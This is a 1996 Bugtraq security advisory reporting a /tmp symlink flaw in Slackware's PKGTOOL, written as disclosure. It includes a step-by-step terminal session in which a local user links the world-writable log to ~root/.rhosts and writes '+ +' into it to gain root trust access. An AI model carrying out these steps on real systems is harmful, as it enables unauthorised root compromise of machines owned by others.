From proff Tue Aug 27 18:21:10 1996 Received: (proff@localhost) by suburbia.net (8.7.4/Proff-950810) id SAA08705 for best-of-security; Tue, 27 Aug 1996 18:21:09 +1000 Received: from brimstone.netspace.org ([128.148.157.143]) by suburbia.net (8.7.4/Proff-950810) with ESMTP id NAA24611 for ; Tue, 27 Aug 1996 13:14:46 +1000 Received: from netspace.org ([128.148.157.6]) by brimstone.netspace.org with ESMTP id <22968-23819>; Mon, 26 Aug 1996 23:12:24 -0500 Received: from netspace.org (netspace [128.148.157.6]) by netspace.org (8.7/8.6.12) with SMTP id XAA14284; Mon, 26 Aug 1996 23:13:25 -0400 Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8b) with spool id 301360 for BUGTRAQ@NETSPACE.ORG; Mon, 26 Aug 1996 23:03:45 -0400 Received: from netspace.org (netspace [128.148.157.6]) by netspace.org (8.7/8.6.12) with SMTP id XAA13171 for ; Mon, 26 Aug 1996 23:01:54 -0400 Approved-By: ALEPH1@UNDERGROUND.ORG Received: from litterbox.org (litterbox.org [205.247.190.19]) by netspace.org (8.7/8.6.12) with ESMTP id VAA05180 for ; Mon, 26 Aug 1996 21:31:19 -0400 Received: from localhost (hamors@localhost) by litterbox.org (8.7.5/8.6.9) with SMTP id VAA00754; Mon, 26 Aug 1996 21:23:15 -0400 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Approved-By: "Sean B. Hamor" Message-ID: Date: Mon, 26 Aug 1996 21:22:49 -0400 Reply-To: Bugtraq List Sender: proff From: "Sean B. Hamor" Subject: [BUG] Vulnerability in PKGTOOL X-cc: New Hack City Projects , "(d)(M)(v)" , Raven , Bill Arcand To: Multiple recipients of list BUGTRAQ -----BEGIN PGP SIGNED MESSAGE----- Monday, August 26, 1996 The Litterbox Sean B. Hamor PKGTOOL Note: I'm not sure whether or not information this has been previously released. I found this earlier this evening while poking around, and apologize if I've just found an old bug. I verified the existence of this bug in PKGTOOL for Linux Slackware 3.0. My assumption would be that most other Linux distributions are effected as well. Synopsis: A problem exists in the way PKGTOOL handles the /tmp/PKGTOOL.REMOVED logfile. This logfile is created mode 666, which allows any user to write to it. Although this file is usually created the first time PKGTOOL is run and can't be removed by normal users, a problem develops if root or the owner of the logfile deletes it for some reason or if PKGTOOL has never been run before. Exploit: If /tmp/PKGTOOL.REMOVED gets deleted or hasn't been created yet, any user can now create a symbolic link from /tmp/PKGTOOL.REMOVED to ~root/.rhosts (for a generic example). The next time PKGTOOL is run, which will more than likely be run by root, ~root/.rhosts will be created as a 666 file with the logs from PKGTOOL as its contents. One may now simply do an echo "+ +" > /tmp/PKGTOOL.REMOVED, then rm /tmp/PKGTOOL.REMOVED. For this example, root is the victim while hamors is the attacker: hamors (2 20:57) litterbox:/tmp> ls -al | grep PKG - -rw-rw-rw- 1 root root 16584 Aug 26 18:07 PKGTOOL.REMOVED.backup hamors (3 21:00) litterbox:/tmp> ln -s ~root/.rhosts PKGTOOL.REMOVED hamors (4 20:58) litterbox:/tmp> cat PKGTOOL.REMOVED cat: PKGTOOL.REMOVED: No such file or directory God (17 20:59) litterbox:~# pkgtool root now uses PKGTOOL to delete a package hamors (5 DING!) litterbox:/tmp> head PKGTOOL.REMOVED Removing package tcl: Removing files: ... hamors (6 21:00) litterbox:/tmp> echo "+ +" > PKGTOOL.REMOVED hamors (7 21:00) litterbox:/tmp> cat ~root/.rhosts + + Verification: This vulnerability has been tested on Linux Slackware 3.0 with the stock installed PKGTOOL. EOF Finger hamors@ishiboo.com /\_/\ mailto:hamors@litterbox.org for PGP public key block. ( o.o ) http://www.ishiboo.com/~hamors/ alt.litterbox, The Home of TOCA > ^ < http://www.litterbox.org/~hamors/ Hi! I'm a .signature virus! Add me to your .signature and join in the fun! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMiJN7zU6HlxZIJ+FAQE7NAf9E5P4vobbqztG9U/dlV85EveNOm0y5g8y YP+2IAgOp4kV1CPrNYgVPNLu06xwycrI/fYyF5EZNOvL/UEYYp+OvpRXk23Z7du9 6nQ7rzF7yPoo+mL5nauXTNQArRvYTHktXQejgApKQNr7XdzwRGL64Q/Y0NH+C9P+ AtxehPQk+7dXWMOX2jeFwkX11DQ9urU/SEWvoJEuv2qV4/aaIHBLrEGs4xkxHPzk xtPKJGb05qIoZ6kuibLnfE6rElIYbaDbYmXhX7hnzymPa8gPJv/J0UHuXBg0Qj2o D8+FeJC6ZMJL9V6/ERw4BfcaYwO5TGuVm5+Ui/9g1OZ9xrXppxNt9Q== =Ujhw -----END PGP SIGNATURE-----